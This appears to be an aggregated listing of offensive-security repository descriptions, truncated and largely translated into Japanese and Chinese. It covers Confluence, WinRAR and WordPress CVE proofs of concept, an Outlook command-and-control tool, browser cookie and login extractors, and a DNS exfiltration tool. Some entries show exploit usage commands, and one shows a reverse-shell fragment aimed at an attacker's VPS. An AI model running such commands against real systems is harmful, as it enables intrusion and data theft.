fuzzowski

Fuzzowski █ █ ████████ ██████████ ██ ████ ██ ██ ████ ██ ████ ████ █ ████████████ █ █ ██████████ █ Fuzzowski Network Fuzzer █ █ █ █ 🄯 Fuzzers, inc. ██ ██ by Mario Rivas このアイデアは、私たちが使いたい と思うネットワークプロトコルファザーになることです。...

Kvasir

Kvasir 欢迎使用 Kvasir！在这些目录中存放着渗透测试期间进行有效数据管理所需的基础工具。 由于通常会获取到大量信息，渗透测试可能成为数据管理的噩梦。漏洞扫描器会返回大量需要审阅的实际漏洞和潜在漏洞。端口扫描器可能仅针对几台主机就返回数千个端口。与同事共享所有这些数据有多容易呢？ 这正是 Kvasir 要帮助您解决的问题。以下是您需要准备的内容： 最新版本的 web2py http://www.web2py.com/ 一个数据库 已知 PostgreSQL 可用 一个网络漏洞扫描器 支持 Nexpose、Nessus 和 Nmap 其他 python 库 Kvasir 是一个...

THM-Vulnerability_Capstone-CVE-2018-16763

THM-VulnerabilityCapstone-CVE-2018-16763 THMルーム「Vulnerability Capstone」& CVE-2018-16763のエクスプロイトスクリプトに関する解説。 クレジット 私はこの脆弱性の発見について功績を主張しません。以下の方々に感謝します。 脆弱性発見: 0xd0ff9 TryHackMe ルーム & 作者: https://tryhackme.com/room/vulnerabilitycapstone https://tryhackme.com/p/cmnatic 参考文献:...

azureOutlookC2

Azure Outlook C2 Microsoft Graph API を利用した C2 通信及びデータ漏洩を行う、Azure Outlook コマンド＆コントロールです。 自身の Outlook メールボックスから、侵害した Windows デバイスを遠隔操作します。 作成者: Bobby Cooke @0xBoku & Paul Ungur @C5pider CTI 脅威情報アップデート 2022年2月13日 Elastic Security Labs は、SIESTAGRAPH を使用したアクティブな侵入活動を実環境で発見しました。SIESTAGRAPH は、Outlook と...

CVE-2022-26134

CVE-2022-26134 概念验证 描述 在受影响版本的 Confluence Server 和 Data Center 中， 存在一个 OGNL 注入漏洞，允许未认证的攻击者 在 Confluence Server 或 Data Center 实例上执行任意代码。 概念验证 1. 运行 python3 confluence.py -u http://127.0.0.1 -c whoami 2. 获取结果 Payload URL 解码后的 payload：...

SharpChromium

SharpChromium はじめに SharpChromiumは、Google Chrome、Microsoft Edge、Microsoft Edge Betaからデータを取得するための.NET 4.0+ CLRプロジェクトです。現在、以下の情報を抽出できます。 Cookie JSON形式 履歴 各履歴項目に関連するCookie付き 保存されたログイン情報 注意: 返されるすべてのCookieはJSON形式です。Cookie Editor拡張機能がインストールされている場合は、このブラウザアドオンの「インポート」セクションにコピー＆ペーストするだけで、抽出したセッションを利用できます...

CVE-2022-0236

CVE-2022-0236 WP Import Export WordPressプラグインは、/includes/classes/class-wpie-general.php ファイルにあるダウンロード関数 wpieprocessfiledownload に対する機能チェックが欠如しているため、認証されていない機密データの漏洩に対して脆弱です。これにより、認証されていない攻撃者が脆弱なサイトからインポートまたはエクスポートされた情報をダウンロードでき、ユーザーデータなどの機密情報が含まれる可能性があります。これはバージョン3.9.15まで（およびそれを含む）に影響します。 要件...

AntiCropalypse

2023年3月31日更新 本日より、DiscordのCDNはPNGの転送中に末尾のデータを除去するようになりました。そのため、古いアップロードもaCropalypseの脆弱性から安全になりました。したがって、このボットはもはや必要ありませんが、ユーザーがアーカイブ画像をダウンロードできるよう、オンラインのまま維持されます。 ボットの元のREADMEは以下にあります。 AntiCropalypse...

Neton

Neton - サンドボックス情報収集ツール Neton は、インターネット接続されたサンドボックスから情報を取得する ためのツールです。エージェントと収集した情報を表示するWebインターフェースで構成されています。 Neton エージェントは、実行中のシステムから情報を取得し、HTTPS 経由で Web サーバーに流出させます。 収集する情報の一部: オペレーティングシステムとハードウェア情報 マウントされたドライブ上のファイルを検索 署名されていないMicrosoftドライバーの一覧表示 SharpEDRChecker を実行 Pafish を実行 Al-Khaser を実行...

CVE-2021-26084_PoC

CVE-2021-26084 PoC | Confluence Server Webwork OGNL 注入 存在一个 OGNL 注入漏洞，允许已验证用户（在某些情况下未验证用户）在 Confluence Server 或 Data Center 实例上执行任意代码。 我寻找入口点和注入点的战斗 XD 战斗 1| 战斗 2 ---|--- | 最终 Confluence 入口点被利用 https:///users/user-dark-features https:///login https:///pages/templates2/viewpagetemplate.action...

CVE-2022-22980

CVE-2022-22980 Spring Data MongoDB SpEL 表达式注入 MongoDB 是一种面向文档的 NoSQL 数据库，具有可扩展性和灵活性，用于高容量数据存储。与传统关系数据库使用表和行不同，MongoDB 使用集合和文档。文档由键值对组成，这是 MongoDB 中的基本数据单元。 Spring Data for MongoDB 是 Spring Data 总括项目的一部分，旨在为新的数据存储提供熟悉且一致的基于 Spring 的编程模型，同时保留存储特有的特性和功能。Spring Data MongoDB 项目提供了与 MongoDB...

CVE-2026-103766

ClipBucket versions v5 through 5.5.3-#197 are vulnerable to an SQL injection vulnerability. The issue resides in the admin_area/ads_manager.php file, where authenticated users with ad_manager_access permissions can inject SQL via the delete parameter . By supplying time-based blind payloads conca...

CVE-2026-103766 ClipBucket v5 through 5.5.3-#197 SQL Injection via ads_manager.php delete Parameter

ClipBucket v5 through 5.5.3-197 contains an sql injection vulnerability that allows authenticated users with admanageraccess permission to inject SQL via the delete parameter in adminarea/adsmanager.php. Attackers can supply time-based blind payloads concatenated into AdsManager::DeleteAd queries...

CVE-2022-26134

CVE-2022-26134 リモート攻撃者は認証なしでOGNL式を注入し、Confluence ServerまたはData Center上で任意のコードを実行できます。POCを修正し、getshellを容易にします。一般的なポート:8090 影響を受けるバージョン Confluence Server and Data Center = 1.3.0 7.14.0 & /dev/tcp/vps ip/vps port 0&1 使用例 python3 CV...

CVE-2023-22527

CVE-2023-22527 - Confluence Data Center和Confluence Server中的RCE（远程代码执行）漏洞 PoC 检测 nuclei -v -t /path/to/template.yam; -u http://ip:port/ 利用 python3 CVE-2023-22527.py -u ip:port -lh listen-host -lp listen-port...

pmanager

Pmanager Demo Description Store and retrieve your passwords from a secure offline database. Check if your passwords has leaked previously to prevent targeted password reuse attacks. Why develop another password manager ? This project was initially born from my desire to learn Rust. I was tired of...

CVE-2025-8088-WinRAR-Proof-of-Concept-PoC-Exploit-

CVE-2025-8088 WinRAR 概念验证 PoC-利用 本仓库包含针对 CVE-2025-8088 （WinRAR 7.12 及之前版本中的路径遍历漏洞）的概念验证 PoC 脚本。 该 PoC 演示了攻击者如何利用此漏洞，通过 备用数据流 ADS 和精心构造的归档文件，将恶意文件放置在预期解压目录之外。 免责声明： 此工具仅用于教育和研究目的。请勿用于损害系统或网络。作者不对因使用此脚本造成的滥用或损害负责。 CVE-2025-8088 概述 CVE-2025-8088 CVSS 8.4 是 WinRAR 中的一个路径遍历漏洞，影响 Windows 版本 7.12...

Cyber-Attack-Analysis

Cybersecurity Case Study: The 2020 Virgin Mobile KSA Breach 📌 执行摘要 2020年，一起重大安全事件导致Virgin Mobile KSA遭到入侵，敏感数据被盗，包括员工通信以及超过1,000名用户的个人信息。本仓库详细解析了攻击向量、被利用的技术漏洞，以及导致数据最终在暗网出售的战略失误。 🔍 攻击分析（"如何运作"） 此次数据泄露是典型的通过未修复漏洞实现初始访问，随后进行内部网络嗅探的案例。 主要利用：攻击者针对未修复的Microsoft Exchange服务器上的CVE-2020-0688漏洞。...

DNSExfiltrator

DNSExfiltrator 作者: Arno0x0x - @Arno0x0x DNSExfiltratorは、DNSリクエストの隠蔽チャネルを介してファイルを転送（ 外部への転送 ）することを可能にします。これは基本的に、隠蔽チャネルを介してデータを外部に漏洩させるためのデータ漏洩テストツールです。 DNSExfiltratorには2つの側面があります： 1. サーバーサイド ：単一のPythonスクリプト（dnsexfiltrator.py）として提供され、カスタムDNSサーバーとして機能し、ファイルを受信します。 2. クライアントサイド （ 被害者側...

pockint

POCKINT（即 Pocket Intelligence）是面向 DFIR/OSINT 专业人士的 OSINT 瑞士军刀。这是一款轻量级且便携的 GUI 程序，以紧凑的形式为用户提供基本的 OSINT 能力：POCKINT 的输入框接受典型的指标（URL、IP、MD5），并且允许用户以可迭代的方式执行基本的 OSINT 数据挖掘任务。 安装 你可以从发布页面获取最新版本。POCKINT 以单个可执行文件的形式提供，可以存储在电脑的任何位置并直接运行。POCKINT 仅适用于 Windows。 特性 为什么使用它？POCKINT 被设计为简单、便携且强大 。 ⭐ 简单 ：市面上有大量优秀...